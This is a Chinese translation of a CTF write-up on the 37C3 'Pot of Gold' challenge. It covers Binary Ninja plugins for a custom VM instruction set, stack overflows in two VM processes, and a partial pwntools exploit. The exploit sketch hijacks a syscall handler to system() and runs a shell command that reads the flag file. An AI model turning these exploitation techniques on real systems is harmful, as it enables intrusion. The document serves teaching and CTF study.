[翻译]【Ninja逆向】使用Ninja IL逆向自定义ISA:破解大赛37C3“Pot of Gold”
字数 1912 2025-08-23 18:31:34
使用Binary Ninja IL逆向自定义ISA:37C3 CTF "Pot of Gold"挑战解析
1. 挑战概述
"Pot of Gold"是37C3 Potluck CTF中的一个逆向工程和漏洞利用挑战,涉及对自定义指令集架构(ISA)的分析和利用。挑战包含以下关键组件:
- 主程序
/chall:x86-64 ELF可执行文件,实现了一个自定义架构的虚拟机 - 两个虚拟机二进制文件:
gordon.bin:主虚拟机进程kitchen.bin:从属虚拟机进程
- 通信机制:通过命名管道
/tmp/x_master和/tmp/x_slave进行进程间通信
2. 虚拟机架构分析
2.1 虚拟机结构
虚拟机管理结构如下:
struct vm {
uint64_t regs[8]; // 通用寄存器R0-R7
uint64_t sp; // 堆栈指针
uint64_t lr; // 链接寄存器
uint64_t pc; // 程序计数器
uint64_t fl; // 标志寄存器
void *mem; // 内存映射链表
void (*handle_syscall)(struct vm*, int syscall_id); // 系统调用处理函数
bool stopped;
bool is_master;
};
2.2 二进制文件格式
虚拟机二进制文件以"UNICORN"开头,格式如下:
struct unicorn_blob_file {
char magic[8]; // "UNICORN"
uint16_t nb_segments;
struct segment {
uint16_t virtual_base;
uint16_t size;
uint16_t protection; // 位域:1-读,2-写,4-执行
} segments[ANYSIZE_ARRAY];
char data[ANYSIZE_ARRAY]; // 第一个段的数据
};
2.3 指令集架构
虚拟机指令为4字节定长,基本格式:
- 第0字节:操作码
- 第1字节:参数1
- 第2-3字节:参数2和3(小端序)
主要指令包括:
| 操作码 | 指令 | 描述 |
|---|---|---|
| 0x0 | NOP | 空操作 |
| 0x4 | ALU运算 | 包含加减乘等算术运算 |
| 0x5 | SYSCALL | 系统调用 |
| 0x8 | PUSH | 压栈 |
| 0x9 | POP | 出栈 |
| 0xC | RET | 从链接寄存器返回 |
3. 系统调用分析
系统调用通过handle_syscall函数处理,主要系统调用如下:
| ID | 描述 |
|---|---|
| 0 | 停止虚拟机 |
| 1 | 输出字符(regs[0]) |
| 2 | 读取字符(regs[0]) |
| 3 | 向FIFO发送消息(ptr: regs[0], size: regs[1]) |
| 4 | 从FIFO接收消息(ptr: regs[0], size: regs[1]) |
| 5 | 伪随机数生成器(regs[0]) |
| 7 | 获取运行时间(system("uptime > /tmp/u")到ptr: regs[0]) |
4. Binary Ninja插件开发
4.1 加载器(BinaryView)实现
from binaryninja.binaryview import BinaryView
from binaryninja.enums import SegmentFlag
class POTLUCKView(BinaryView):
name = 'POTLUCKView'
def __init__(self, data):
BinaryView.__init__(self, parent_view=data, file_metadata=data.file)
self.data = data
@classmethod
def is_valid_for_data(self, data):
return data.read(0, 7) == b'UNICORN'
def init(self):
# 解析文件头并加载段
segment_count = unpack("<H", self.data.read(0x8, 2))[0]
base = unpack("<H", self.data.read(0xA, 2))[0]
size = unpack("<H", self.data.read(0xC, 2))[0]
prot = unpack("<H", self.data.read(0xE, 2))[0]
# 添加可执行段
self.add_auto_segment(base, size, 0xA+6*segment_count, size,
SegmentFlag.SegmentReadable | SegmentFlag.SegmentExecutable)
return True
4.2 架构插件实现
from binaryninja.architecture import Architecture, InstructionInfo, RegisterInfo
from binaryninja.lowlevelil import LowLevelILFunction
from binaryninja.function import InstructionTextToken
class POTLUCK(Architecture):
name = "POTLUCK"
address_size = 4
regs = {
'R0': RegisterInfo('R0', 4),
# ... 其他寄存器
'SP': RegisterInfo('SP', 4),
'LR': RegisterInfo('LR', 4),
}
stack_pointer = "SP"
link_reg = "LR"
def get_instruction_text(self, data, addr):
opcode = data[0]
arg1 = data[1]
ops = []
if opcode == 8: # PUSH
ops.append(InstructionTextToken(InstructionTextTokenType.TextToken, "push "))
ops.append(InstructionTextToken(InstructionTextTokenType.RegisterToken, f'R{arg1}'))
# ... 其他指令
return ops, 4
def get_instruction_info(self, data, addr):
info = InstructionInfo()
info.length = 4
if opcode == 5: # SYSCALL
info.add_branch(BranchType.SystemCall, arg1)
# ... 其他控制流指令
return info
def get_instruction_low_level_il(self, data, addr, il):
# 将指令转换为Binary Ninja中间语言
if opcode == 4 and (arg1 >> 4) == 0: # ADD
dst = f'R{arg3}'
src1 = il.reg(4, f'R{arg2}')
src2 = il.const(4, operand)
il.append(il.set_reg(4, dst, il.add(4, src1, src2)))
# ... 其他指令
return 4
4.3 反编译器优化
通过实现get_instruction_low_level_il方法,可以将自定义ISA指令转换为Binary Ninja的中间语言(IL),从而获得高质量的反编译输出。关键点包括:
- 正确处理寄存器操作
- 准确描述控制流(分支、调用、返回)
- 为系统调用定义自定义调用约定
5. 漏洞分析与利用
5.1 漏洞点
-
Kitchen虚拟机:
- 命令2存在栈缓冲区溢出,可覆盖LR寄存器
- 读取0xff字节到0x44大小的缓冲区
-
Gordon虚拟机:
- 处理0xc0cac01a命令时存在栈溢出
- 寄存器索引未验证,可越界写入
5.2 利用步骤
-
触发Kitchen溢出:
- 通过命令2发送精心构造的输入覆盖LR
- 构造ROP链调用系统调用4向Gordon发送命令
-
触发Gordon漏洞:
- 发送0xc0cac01a命令触发栈溢出
- 利用越界写入修改handle_syscall指针
-
获取shell:
- 将handle_syscall指向system()
- 通过寄存器构造命令字符串"cat /fla* > /tmp/x_master"
- 执行syscall运行命令
-
读取flag:
- 通过FIFO将flag传回Kitchen
- 使用ROP链接收并打印flag
5.3 利用代码示例
from pwn import *
r = remote('challenge27.play.potluckctf.com', 31337)
# 解决初始挑战
secret = bytes.fromhex(r.recvline().strip().decode())
code = xor(secret, p32(0xc0cac01a) + p32(0xd15ea5e) + p32(0x5caff01d) + p32(0xba5eba11)).hex().encode()
r.sendline(code)
# 选择漏洞命令
r.sendlineafter(b'choice> ', b'2')
# 构造payload
payload = p32(0xc0cac01a) # Gordon命令魔法值
payload += b'\x09\x05\x00\x00' # pop r5 -> system地址
payload += b'\x07\xd0\x05\x00' # mov R13, R5 (覆盖handle_syscall)
# ... 其他ROP链和shellcode
payload += b'cat /fla* > /tmp/x_master\x00'
r.send(payload)
r.interactive()
6. 关键知识点总结
-
自定义ISA分析:
- 通过识别操作码处理函数理解虚拟机行为
- 分析寄存器使用和内存管理结构
-
Binary Ninja插件开发:
- BinaryView用于文件格式解析
- Architecture插件实现指令集支持
- 中间语言(IL)转换提升反编译质量
-
漏洞利用技术:
- 跨虚拟机进程的联合利用
- 利用未验证的寄存器索引实现任意写
- 通过系统调用劫持获得代码执行
-
防御绕过:
- 利用FIFO通信绕过输出限制
- 通过ROP链实现复杂利用流程
7. 扩展思考
-
防御措施:
- 实现寄存器索引验证
- 添加栈保护机制
- 启用地址随机化(ASLR)
-
自动化分析:
- 开发更完整的Binary Ninja架构插件
- 实现自动化漏洞挖掘脚本
- 构建自定义ISA的符号执行引擎
-
类似挑战:
- 其他CTF中的自定义虚拟机挑战
- 真实世界中的嵌入式系统固件分析
- 游戏反作弊系统中的自定义指令集